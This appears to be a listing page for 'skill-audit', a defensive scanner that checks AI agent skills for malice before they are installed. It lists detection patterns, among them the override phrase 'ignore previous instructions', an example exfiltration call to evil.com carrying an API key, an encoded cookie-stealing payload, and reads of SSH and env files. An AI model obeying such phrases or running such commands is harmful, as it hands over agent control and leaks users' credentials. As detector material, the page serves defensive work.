bundled-skills/skill-audit/SKILL.md
Pre-install security scanner for AI agent skills. 7.5% of 14,706 skills are malicious. Audit before you trust.
npx skillsauth add FrancoStino/opencode-skills-antigravity skill-auditInstall this skill globally with one command. Works with Claude Code, Cursor, and Windsurf.
3 of 9 scanners reported clean
Some scanners were skipped, did not run, or reported a non-clean status. Review each row below.
7.5% of 14,706 OpenClaw skills are confirmed malicious. This skill provides a structured 6-phase security review you run before installing any third-party skill.
Research findings (2026):
Pattern detection in SKILL.md:
ignore previous instructions, you are now...fetch(), curl, wget to unknown domainsatob(), base64 strings~/.env, process.env + network callsRead every referenced script:
Check if permissions match purpose:
Detect manipulation tactics:
Evaluate author/repo credibility:
Risk score + recommendation:
User: I want to install fancy-tool from github.com/suspicious-author/fancy-tool
Agent runs skill-audit:
📋 Surface Scan: 🚨 3 critical patterns
- download-pipe-shell pattern found
- References ~/.env
- External fetch to unknown domain
📁 Script Check: 🚨 scripts/install.sh
- Contains base64-encoded payload
- Makes HTTP POST to 192.168.x.x
🔑 Permissions: 🚨 Excessive
- Claims "format code"
- But reads ~/.ssh/id_rsa
Risk Score: 92/100 🔴 CRITICAL
Recommendation: 🚫 DO NOT INSTALL
User: Install this skill from github.com/trusted-author/useful-skill
Agent runs skill-audit:
📋 Surface Scan: ✅ No critical patterns
📁 Script Check: ✅ No scripts referenced
🔑 Permissions: ✅ Minimal (read/write in project dir)
📊 Repo Intel: ✅ Trusted author, 2+ years active
Risk Score: 12/100 ✅ LOW RISK
Recommendation: ✅ Safe to install
| Pattern | Example | Risk |
|---------|---------|------|
| Instruction override | ignore previous instructions | Agent takeover |
| External data exfil | fetch('http://evil.com?token=' + env.API_KEY) | Credential theft |
| Shell pipe | download piped into a shell interpreter | Arbitrary execution |
| Encoded payloads | atob('YWxlcnQoZG9jdW1lbnQuY29va2llKQ==') | Hidden commands |
| Credential reads | ~/.env, process.env + network | Key theft |
| Self-replication | "install in all repos" | Persistence spread |
| Pattern | Concern | |---------|---------| | Role manipulation | Changes agent identity | | Hidden instructions | Invisible commands in comments | | Undocumented scripts | SKILL.md references hidden scripts | | Broad permissions | Excessive file/network access | | Domain ambiguity | Domain takeover risk | | Unpinned deps | Supply chain vulnerability |
From documented incidents:
clawhub1, clawbhub → fake official CLI, macOS binary to raw IPThis skill is adapted from aptratcn/skill-audit — MIT licensed.
data-ai
Snapshot a site's SEO state and detect ranking, indexation, metadata, canonical, robots, schema, and on-page regressions over time.
development
Coordinate focused subagents on substantial work, keep their ownership non-overlapping, and integrate verified results. Use for large-scope Codex tasks; keep trivial work with the coordinator.
data-ai
Use when an owner asks to find a cofounder or project partner. Assess only that agent's own owner and rank only approved profiles other agents posted for their own owners.
devops
Install, configure, verify, repair, update, and uninstall Hyprland on Fedora Linux with GPU-aware detection (NVIDIA/AMD/Intel).